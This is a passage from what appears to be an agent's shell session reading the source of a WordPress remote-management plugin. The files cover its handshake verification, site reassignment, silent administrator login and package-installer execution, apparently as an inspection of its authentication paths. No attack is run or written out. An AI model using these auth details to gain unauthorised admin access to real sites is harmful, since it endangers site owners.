) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Site action method is neither \"retrieve\" nor \"internal\".' ), 9806 ); } \u002F\u002F We first verify fully if we CAN handshake if ( !$this->mod->getCanHandshake( true ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Site cannot handshake' ), 9801 ); } $this->handshake(); $r = $this->getStandardResponse(); if ( !$r->success ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Handshake verify failed' ), 9802 ); } if ( empty( $req->accname ) || !is_email( $req->accname ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Request account empty or invalid' ), 9803 ); } if ( empty( $req->key ) || strlen( $req->key ) != 24 ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'Auth Key not of the correct format' ), 9804 ); } if ( empty( $req->pin ) ) { return $this->setErrorResponse( sprintf( 'Attempting Site Reassign Failed: %s.', 'PIN empty' ), 9805 ); } $this->mod->setOpt( 'key', $req->key ); $this->mod->setAssignedAccount( $req->accname ); $this->mod->setPluginPin( $req->pin ); $this->mod->savePluginOptions(); return $this->setSuccessResponse( 'Attempting Site Reassign Succeeded.', 9800 ); } \u002F** * @return LegacyApi\\ApiResponse *\u002F protected function handshake() { $req = $this->getRequestParams(); $response = $this->getStandardResponse(); if ( !$this->mod->getCanHandshake() ) { $response->handshake = 'unsupported'; return $response; } $response->handshake = 'failed'; try { $this->publicKeyVerify(); return $this->setSuccessResponse(); } catch ( \\Exception $e ) { } try { if ( $this->verifyHmac() ) { return $this->setSuccessResponse(); } } catch ( \\Exception $e ) { } if ( empty( $req->package_name ) || empty( $req->pin ) ) { return $this->setErrorResponse( 'Package Name or PIN were empty. Could not Handshake.', 9990 ); } if ( \\str_starts_with( $req->package_name, 'worpdrive_' ) ) { return $this->setErrorResponse( \"Package verification isn't supported for worpdrive actions.\", 9993 ); } \u002F\u002F We can do this because we've assumed at this point we've validated the communication with iControlWP $verifyURL = sprintf( '%s\u002F%s\u002F%s\u002F%s', \\rtrim( $this->mod->getAppUrl( 'handshake_verify_url' ), '\u002F' ), $req->verification_code, $req->package_name, $req->pin ); $rawResponse = $this->loadFS()->getUrlContent( $verifyURL ); if ( empty( $rawResponse ) ) { return $this->setErrorResponse( sprintf( 'Package Handshaking Failed against URL \"%s\" with an empty response.', $verifyURL ), 9991 ); } $jsonResponse = \\json_decode( \\trim( $rawResponse ) ); if ( !\\is_object( $jsonResponse ) || empty( $jsonResponse->success ) ) { return $this->setErrorResponse( sprintf( 'Package Handshaking Failed against URL \"%s\" with response: \"%s\".', $verifyURL, $rawResponse ), 9992 ); } $response->handshake = 'url'; return $this->setSuccessResponse(); \u002F\u002Fjust to be sure we proceed thereafter } \u002F** * @throws \\Exception *\u002F protected function verifyHmac() :bool { $req = $this->getRequestParams(); $this->verificationWindowCheck(); $verified = false; $hmac = $req->hmac_hash; if ( !empty( $req->pin ) && !empty( $hmac ) && \\hash_equals( $this->mod->getPluginPin(), \\hash( 'md5', $req->pin ) ) ) { $hashEquals = \\hash_equals( $hmac, \\hash_hmac( $req->hmac_algo, \\implode( '', [ $req->action, $req->verification_code, $req->verify_ts, ] ), $req->pin ) ); if ( !$hashEquals ) { throw new \\Exception( 'HMAC verification failed' ); } $this->getStandardResponse()->handshake = 'hmac'; $verified = true; } return $verified; } \u002F** * @throws \\Exception *\u002F protected function publicKeyVerify() :void { $req = $this->getRequestParams(); $publicKey = $this->mod->getIcwpPublicKey(); if ( empty( $publicKey ) || empty( $req->verification_code ) || empty( $req->opensig ) ) { throw new \\Exception( 'Necessary components for public key-based verification are missing' ); } if ( $this->isVerificationWindowRequired() ) { $this->verificationWindowCheck(); } if ( !$this->loadEncryptProcessor()->getSupportsOpenSslSign() ) { throw new \\Exception( 'OpenSSL Sign is not supported.' ); } $response = $this->getStandardResponse(); $response->openssl_verify = $this->loadEncryptProcessor()->verifySslSignature( $req->verification_code.( empty( $req->verify_ts ) ? '' : $req->verify_ts ), $req->opensig, $publicKey ); if ( $response->openssl_verify !== 1 ) { throw new \\Exception( 'OpenSSL Signature verification failed: '.$response->openssl_verify ); } $response->handshake = 'openssl'; } protected function preActionEnvironmentSetup() { $this->loadWP()->doBustCache(); \u002F\u002F @set_time_limit( $this->getRequestParams()->timeout ); } \u002F** * @return bool *\u002F protected function setWpEngineAuth() { if ( @getenv( 'IS_WPE' ) == '1' && class_exists( 'WpeCommon', false ) && $this->isLoggedInUser() ) { $oWpEngineCommon = WpeCommon::instance(); $oWpEngineCommon->set_wpe_auth_cookie(); return true; } return false; } \u002F** * @return bool *\u002F protected function setAuthorizedUser() { if ( !$this->isLoggedInUser() ) { $WPU = $this->loadWpUsers(); $req = $this->getRequestParams(); $wpUser = $req->wpadmin_user; if ( empty( $wpUser ) ) { if ( version_compare( $this->loadWP()->getWordpressVersion(), '3.1', '>=' ) ) { $aUserRecords = get_users( [ 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ] ); if ( is_array( $aUserRecords ) && count( $aUserRecords ) ) { $oUser = $aUserRecords[ 0 ]; } } else { $oUser = $WPU->getUserById( 1 ); } $wpUser = ( !empty( $oUser ) && is_a( $oUser, 'WP_User' ) ) ? $oUser->get( 'user_login' ) : 'admin'; } if ( $WPU->setUserLoggedIn( $wpUser, (bool)$req->silent_login ) ) { $this->setLoggedInUser( $wpUser ); } } return $this->isLoggedInUser(); } \u002F** * Used by Execute and Retrieve * @param string $installerFileToInclude * @return LegacyApi\\ApiResponse *\u002F protected function runInstaller( $installerFileToInclude ) { $FS = $this->loadFS(); $bIncludeSuccess = include_once( $installerFileToInclude ); $FS->deleteFile( $installerFileToInclude ); if ( !$bIncludeSuccess ) { return $this->setErrorResponse( 'PHP failed to include the Installer file for execution.' ); } if ( !class_exists( 'Worpit_Package_Installer', false ) ) { $sErrorMessage = sprintf( 'Worpit_Package_Installer class does not exist after including file: \"%s\".', $installerFileToInclude ); return $this->setErrorResponse( $sErrorMessage, -1 \u002F\u002FTODO: Set a code ); } $installer = new Worpit_Package_Installer(); $installerResponse = $installer->run(); $msg = !empty( $installerResponse[ 'message' ] ) ? $installerResponse[ 'message' ] : 'No message'; $response = $installerResponse[ 'data' ] ?? []; if ( isset( $installerResponse[ 'success' ] ) && $installerResponse[ 'success' ] ) { return $this->setSuccessResponse( sprintf( 'Package Execution SUCCEEDED with message: \"%s\".', $msg ), 0, $response ); } else { return $this->setErrorResponse( sprintf( 'Package Execution FAILED with error message: \"%s\"', $msg ), -1, \u002F\u002FTODO: Set a code $response ); } } \u002F** * @param string $msg * @param int $code * @param mixed $data *\u002F protected function setErrorResponse( $msg = '', $code = -1, $data = [] ) :LegacyApi\\ApiResponse { $r = $this->getStandardResponse(); $r->success = false; $r->error_message = $msg; $r->message = $msg; $r->code = $code; $r->data = $data; return $r; } \u002F** * @param string $msg * @param int $code * @param mixed $data * @return LegacyApi\\ApiResponse *\u002F protected function setSuccessResponse( $msg = '', $code = 0, $data = [] ) :LegacyApi\\ApiResponse { $r = $this->getStandardResponse(); $r->success = true; $r->message = $msg; $r->code = $code; $r->data = empty( $data ) ? [ 'success' => 1 ] : $data; return $r; } public static function getStandardResponse() :LegacyApi\\ApiResponse { return self::$actionResponse ??= new LegacyApi\\ApiResponse(); } \u002F** * @param string $sUser * @return $this *\u002F protected function setLoggedInUser( $sUser ) { $this->sLoggedInUser = $sUser; return $this; } \u002F** * @return string *\u002F protected function getLoggedInUser() { $sLoggedInUser = $this->sLoggedInUser; if ( empty( $sLoggedInUser ) ) { $oWpUser = $this->loadWpUsers(); if ( $oWpUser->isUserLoggedIn() && $oWpUser->isUserAdmin() ) { $sLoggedInUser = $oWpUser->getCurrentWpUser()->get( 'user_login' ); $this->setLoggedInUser( $sLoggedInUser ); } } return $this->sLoggedInUser; } protected function isLoggedInUser() :bool { return !empty( $this->getLoggedInUser() ); } \u002F** * @throws Exception *\u002F protected function verificationWindowCheck() :bool { $req = $this->getRequestParams(); if ( empty( $req->verify_ts ) ) { throw new \\Exception( 'Verification window check required, but verify_ts is missing.' ); } if ( \\time() - $req->verify_ts > 30 && ( ( new WorldTimeApi() )->current() - $req->verify_ts > 30 ) ) { throw new \\Exception( 'Verification window has closed.' ); } return true; } \u002F** * TODO: expand to all actions. *\u002F protected function isVerificationWindowRequired() :bool { return \\str_starts_with( $this->reqParams->action, 'worpdrive_' ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_index.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n setSuccessResponse( 'Plugin Index' ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getRequestParams(); add_filter( self::con()->doPluginPrefix( 'get_service_ips_v4' ), [ $this, 'getServiceIpAddressesV4' ] ); add_filter( self::con()->doPluginPrefix( 'get_service_ips_v6' ), [ $this, 'getServiceIpAddressesV6' ] ); add_filter( self::con()->doPluginPrefix( 'verify_site_can_handshake' ), [ $this, 'doVerifyCanHandshake' ] ); add_action( 'init', [ $this, 'getPluginUrl' ], -100000 ); $apiHook = $params->getApiHook(); if ( $params->worpit_link ) { if ( $apiHook == 'immediate' ) { $this->doApiLinkSite(); } else { add_action( $apiHook, [ $this, 'doApiLinkSite' ], $params->getApiHookPriority() ); } } elseif ( $params->worpit_api || $params->icwpapi ) { if ( $apiHook == 'immediate' ) { $this->doApiAction(); } else { add_action( $apiHook, [ $this, 'doApiAction' ], $params->getApiHookPriority() ); } } } public function getPluginUrl() { if ( $this->loadDP()->FetchRequest( 'geticwppluginurl' ) == 1 ) { $this->returnIcwpPluginUrl(); } } public function getServiceIpAddressesV4() :array { return $this->getValidServiceIps(); } public function getServiceIpAddressesV6() :array { return $this->getValidServiceIps( 'ipv6' ); } protected function getValidServiceIps( string $ips = 'ipv4' ) :array { $lists = $this->mod->getDefinition( 'service_ip_addresses' ); if ( isset( $lists[ $ips ][ 'valid' ] ) && \\is_array( $lists[ $ips ] ) && \\is_array( $lists[ $ips ][ 'valid' ] ) ) { return $lists[ $ips ][ 'valid' ]; } return []; } public function doVerifyCanHandshake() :bool { $this->mod->setOpt( 'time_last_check_can_handshake', $this->loadDP()->time() ); \u002F\u002F First simply check SSL support if ( $this->loadEncryptProcessor()->getSupportsOpenSslSign() ) { return true; } $response = $this->loadFS()->getUrlContent( $this->mod->getAppUrl( 'handshake_verify_test_url' ), [ 'timeout' => 20, 'redirection' => 20, 'sslverify' => true \u002F\u002Fthis is default, but just to make sure. ] ); if ( !$response ) { return false; } $jsonResponse = \\json_decode( \\trim( $response ) ); return \\is_object( $jsonResponse ) && !empty( $jsonResponse->success ); } \u002F** * @uses die() *\u002F public function doApiLinkSite() { require_once( ABSPATH.'wp-admin\u002Fincludes\u002Fupgrade.php' ); $this->sendApiResponse( ( new \\ICWP_APP_Processor_Plugin_SiteLink( $this->mod ) )->run() ); die(); } \u002F** * If any of the conditions are met and our plugin executes either the transport or link * handlers, then all execution will end * @return void * @uses die *\u002F public function doApiAction() { require_once( ABSPATH.'wp-admin\u002Fincludes\u002Fupgrade.php' ); $class = $this->enum()[ $this->getApiChannel() ] ?? \\ICWP_APP_Processor_Plugin_Api_Index::class; $this->sendApiResponse( ( new $class( $this->mod ) )->run(), (bool)$this->getRequestParams()->icwpenc ); die(); } \u002F** * @return class-string [] *\u002F private function enum() :array { return [ 'auth' => \\ICWP_APP_Processor_Plugin_Api_Auth::class, 'retrieve' => \\ICWP_APP_Processor_Plugin_Api_Retrieve::class, 'internal' => \\ICWP_APP_Processor_Plugin_Api_Internal::class, 'status' => \\ICWP_APP_Processor_Plugin_Api_Status::class, 'login' => \\ICWP_APP_Processor_Plugin_Api_Login::class, 'download' => LegacyApi\\Channel\\Download::class ]; } protected function getApiChannel() :string { $params = $this->getRequestParams(); return \\in_array( $params->m, $this->mod->getPermittedApiChannels() ) ? $params->m : 'index'; } \u002F** * @return void *\u002F protected function returnIcwpPluginUrl() { ( new LegacyApi\\Response\\SendAppApiResponse() )->flush( [ 'content' => self::con()->getPluginUrl(), 'encoding' => 'none', 'version' => $this->mod->getVersion(), 'auth_key' => $this->mod->getIsSiteLinked() ? '' : $this->mod->getPluginAuthKey() ], false ); } protected function sendApiResponse( LegacyApi\\ApiResponse $response, bool $encrypt = false ) { $response->authenticated = $this->loadWpUsers()->isUserLoggedIn(); $toSend = clone $response; if ( $encrypt && !empty( $toSend->data ) ) { $encryptedResult = $this->loadEncryptProcessor()->sealData( $toSend->data, $this->mod->getIcwpPublicKey() ); if ( $encryptedResult->success ) { $toSend->data = [ 'is_encrypted' => 1, 'password' => $encryptedResult->encrypted_password, 'sealed_data' => $encryptedResult->encrypted_data ]; } } ( new LegacyApi\\Response\\SendAppApiResponse() )->flush( [ 'content' => \\base64_encode( $this->loadDP()->encodeJson( $toSend->getResponsePackage() ) ), 'encoding' => 'json', 'version' => $this->mod->getVersion(), 'auth_key' => $this->mod->getIsSiteLinked() ? '' : $this->mod->getPluginAuthKey() ], false ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Flib\u002Fsrc\u002FLegacyApi\u002FRequestParameters.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n applyFromArray( \\array_merge( \\is_array( $_GET ) ? $_GET : [], \\is_array( $_POST ) ? $_POST : [], \\is_array( $theGET ) ? $theGET : [], \\is_array( $thePOST ) ? $thePOST : [] ) ); } \u002F** * @param string $sProperty * @return mixed *\u002F public function __get( $sProperty ) { $value = $this->__adapterGet( $sProperty ); switch ( $sProperty ) { case 'action_params': if ( !\\is_array( $value ) ) { $value = $this->parseActionParams(); } break; case 'm': $value = empty( $value ) ? 'index' : $value; break; case 'accname': $value = \\urldecode( $value ); break; case 'opensig': $value = \\base64_decode( $value ); break; case 'timeout': if ( \\is_null( $value ) ) { $value = 60; } $value = (int)$value; break; case 'verification_code': if ( \\is_null( $value ) ) { $value = 'no code'; } break; case 'verify_ts': $value = (int)$value; break; default: break; } return $value; } protected function parseActionParams() :array { $actionParams = []; foreach ( \\is_array( \\getallheaders() ) ? \\getallheaders() : [] as $key => $value ) { if ( \\trim( \\strtolower( $key ) ) === 'content-type' && \\strtolower( $value ) === 'application\u002Fjson' ) { $input = Request::Instance()->input(); if ( !empty( $input ) ) { $actionParams = @\\json_decode( $input, true )[ 'action_params' ] ?? []; } break; } } return \\is_array( $actionParams ) ? $actionParams : []; } \u002F** * @return string *\u002F public function getApiHook() { if ( empty( $this->api_hook ) || !is_string( $this->api_hook ) ) { $this->api_hook = is_admin() ? 'admin_init' : 'wp_loaded'; if ( class_exists( 'WooDojo_Maintenance_Mode', false ) || class_exists( 'ITSEC_Core', false ) ) { $this->api_hook = 'init'; } } return $this->api_hook; } \u002F** * @return string *\u002F public function getPin() { return $this->pin; } \u002F** * @return int *\u002F public function getTimeout() { return (int)$this->timeout; } \u002F** * @return int *\u002F public function getApiHookPriority() { $pri = $this->api_priority; if ( !\\is_numeric( $pri ) ) { $pri = is_admin() ? 101 : 1; if ( \\class_exists( 'ITSEC_Core', false ) ) { $pri = 100; } } return (int)$pri; } \u002F** * @param string $sKey * @param string $mDefault * @return string *\u002F public function getStringParam( $sKey, $mDefault = '' ) { $sVal = $this->getParam( $sKey, $mDefault ); return ( !empty( $sVal ) && is_string( $sVal ) ) ? trim( $sVal ) : $mDefault; } \u002F** * @param string $sKey * @param mixed $mDefault * @return mixed *\u002F public function getParam( $sKey, $mDefault = '' ) { return $this->{$sKey}; } \u002F** * @return bool * @deprecated 4.5 *\u002F public function isSilentLogin() { return (bool)$this->silent_login; } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"getRequestParams\\|RequestParameters\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002F --inc...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_link.php:12: if ( $this->getRequestParams()->a == 'check' ) { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_link.php:22: $params = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:8: $params = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:97: $this->sendApiResponse( ( new $class( $this->mod ) )->run(), (bool)$this->getRequestParams()->icwpenc ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:116: $params = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php:3:use FernleafSystems\\Wordpress\\Plugin\\iControlWP\\LegacyApi\\RequestParameters; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php:7:\tprotected function getRequestParams() :RequestParameters { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php:8: return $this->reqParams ??= new RequestParameters( \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php:16: $action = $this->getRequestParams()->action; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php:27: $action = $this->getRequestParams()->action; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php:50: $API->setRequestParams( $this->getRequestParams() ) \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_login.php:26: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_retrieve.php:11: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:53: $aData[ 'verification_code' ] = $this->getRequestParams()->verification_code; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:65: $oParams = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:73: $reqParams = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:129: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:192: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:257: $req = $this->getRequestParams(); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:289: $req = $this->getRequestParams();\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase_app.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n reqParams ??= new RequestParameters( $this->loadDP()->FetchGet( 'reqpars', [] ), $this->loadDP()->FetchPost( 'reqpars', [] ) ); } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fbase.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n mod = $mod; $this->init(); } \u002F** * @param array $attr *\u002F protected function getIfDisplayAdminNotice( $attr ) :bool { $notices = $this->loadAdminNoticesProcessor(); if ( empty( $attr[ 'schedule' ] ) || !in_array( $attr[ 'schedule' ], [ 'once', 'conditions', 'version' ] ) ) { $attr[ 'schedule' ] = 'conditions'; } if ( $attr[ 'schedule' ] == 'once' && ( !$this->loadWpUsers() ->getCanAddUpdateCurrentUserMeta() || $notices->getAdminNoticeIsDismissed( $attr[ 'id' ] ) ) ) { return false; } if ( $attr[ 'schedule' ] == 'version' && ( $this->mod->getVersion() == $notices->getAdminNoticeMeta( $attr[ 'id' ] ) ) ) { return false; } if ( isset( $attr[ 'type' ] ) && $attr[ 'type' ] == 'promo' && $this->loadWP()->getIsMobile() ) { return false; } return true; } public function init() { } \u002F** * Override to set what this processor does when it's \"run\" *\u002F abstract public function run(); \u002F** * @param $sOptionKey * @param mixed $mDefault * @return mixed * @deprecated 4.5 *\u002F public function getOption( $sOptionKey, $mDefault = false ) { return $this->mod->getOpt( $sOptionKey, $mDefault ); } \u002F** * @param string $sKey * @param mixed $mValueToTest * @param bool $bStrict * @return bool * @deprecated 4.5 *\u002F public function getIsOption( $sKey, $mValueToTest, $bStrict = false ) { $mOptionValue = $this->mod->getOpt( $sKey ); return $bStrict ? $mOptionValue === $mValueToTest : $mOptionValue == $mValueToTest; } \u002F** * @deprecated 4.5 *\u002F protected function getFeatureOptions() { return $this->mod; } \u002F** * @return \\FernleafSystems\\Wordpress\\Plugin\\iControlWP\\Control\\Controller * @deprecated 4.5 *\u002F public function getController() { return $this->mod->getController(); } \u002F** * @deprecated 4.5 *\u002F public function action_doFeatureProcessorShutdown() { } \u002F** * @deprecated 4.5 *\u002F public function autoAddToAdminNotices() { } }\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_internal.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n getRequestParams()->action; if ( empty( $action ) || !$this->isActionSupported( $action ) ) { return $this->setErrorResponse( sprintf( 'Action \"%s\" is not currently supported.', $action ) ); } return $this->processActionHandler(); } \u002F** * @throws \\Exception *\u002F protected function findLegacyApiClass() :string { $action = $this->getRequestParams()->action; $class = $this->actionClassMap()[ $action ] ?? null; if ( empty( $class ) ) { $parts = \\array_map( '\\ucfirst', \\explode( '_', $action ) ); if ( \\count( $parts ) findLegacyApiClass(); \u002F** @var Base $API *\u002F $API = new $class(); $API->setRequestParams( $this->getRequestParams() ) ->setStandardResponse( $this->getStandardResponse() ) ->preProcess(); $response = $API->process(); } catch ( \\Exception $e ) { $response = $this->setErrorResponse( $e->getMessage() ); } return $response; } protected function isActionSupported( string $action ) :bool { return \\in_array( $action, $this->mod->getSupportedInternalApiAction() ); } protected function actionClassMap() :array { return [ 'user_list' => User\\Enumerate::class, 'worpdrive_db_data' => Worpdrive\\Db\\Data::class, 'worpdrive_db_schema' => Worpdrive\\Db\\Schema::class, 'worpdrive_filesystem_hashless' => Worpdrive\\Filesystem\\Hashless::class, 'worpdrive_filesystem_map' => Worpdrive\\Filesystem\\Map::class, 'worpdrive_filesystem_recent' => Worpdrive\\Filesystem\\Recent::class, 'worpdrive_filesystem_zip' => Worpdrive\\Filesystem\\Zip::class, ]; } }\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"getPermittedApiChannels\\|permitted.*channel\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002F -...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin.php:117: return \\in_array( $params->m, $this->mod->getPermittedApiChannels() ) ? $params->m : 'index'; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api.php:66: return \\in_array( $oParams->m, $this->mod->getPermittedApiChannels() ) ? $oParams->m : 'index'; \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fprocessors\u002Fplugin_api_status.php:22: 'supported_channels' => $this->mod->getPermittedApiChannels(), \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:227:\tpublic function getPermittedApiChannels() :array { \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Ffeatures\u002Fplugin.php:228: return $this->getDefinition( 'permitted_api_channels' ); \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fconfig\u002Ffeature-plugin.php:104: \"permitted_api_channels\": [\n```\n\u003C\u002Fdetails>","**Shell:** `cat \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fworpit-admin-dashboard-plugin\u002Fsrc\u002Fconfig\u002Ffeature-plugin.php | head -130`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n{ \"properties\": { \"slug\": \"plugin\", \"name\": \"Dashboard\", \"show_feature_menu_item\": true, \"storage_key\": \"plugin\", \"auto_enabled\": true }, \"sections\": [ { \"slug\": \"section_non_ui\", \"hidden\": true } ], \"options\": [ { \"key\": \"current_plugin_version\", \"section\": \"section_non_ui\" }, { \"key\": \"key\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"pin\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"assigned\", \"section\": \"section_non_ui\", \"default\": \"N\" }, { \"key\": \"assigned_to\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"helpdesk_sso_url\", \"section\": \"section_non_ui\", \"default\": \"\" }, { \"key\": \"time_last_check_can_handshake\", \"section\": \"section_non_ui\", \"value\": 0 }, { \"key\": \"can_handshake\", \"section\": \"section_non_ui\", \"default\": \"N\" }, { \"key\": \"activated_at\", \"section\": \"section_non_ui\" }, { \"key\": \"installation_time\", \"section\": \"section_non_ui\" }, { \"key\": \"feedback_admin_notice\", \"section\": \"section_non_ui\" }, { \"key\": \"active_plugin_features\", \"section\": \"section_non_ui\", \"value\": [ { \"slug\": \"security\", \"storage_key\": \"security\", \"load_priority\": 0 }, { \"slug\": \"compatibility\", \"storage_key\": \"compatibility\" }, { \"slug\": \"google_analytics\", \"storage_key\": \"google_analytics\" }, { \"slug\": \"autoupdates\", \"storage_key\": \"autoupdates\" }, { \"slug\": \"whitelabel\", \"storage_key\": \"whitelabel\" } ] } ], \"definitions\": { \"icwp_public_key\": 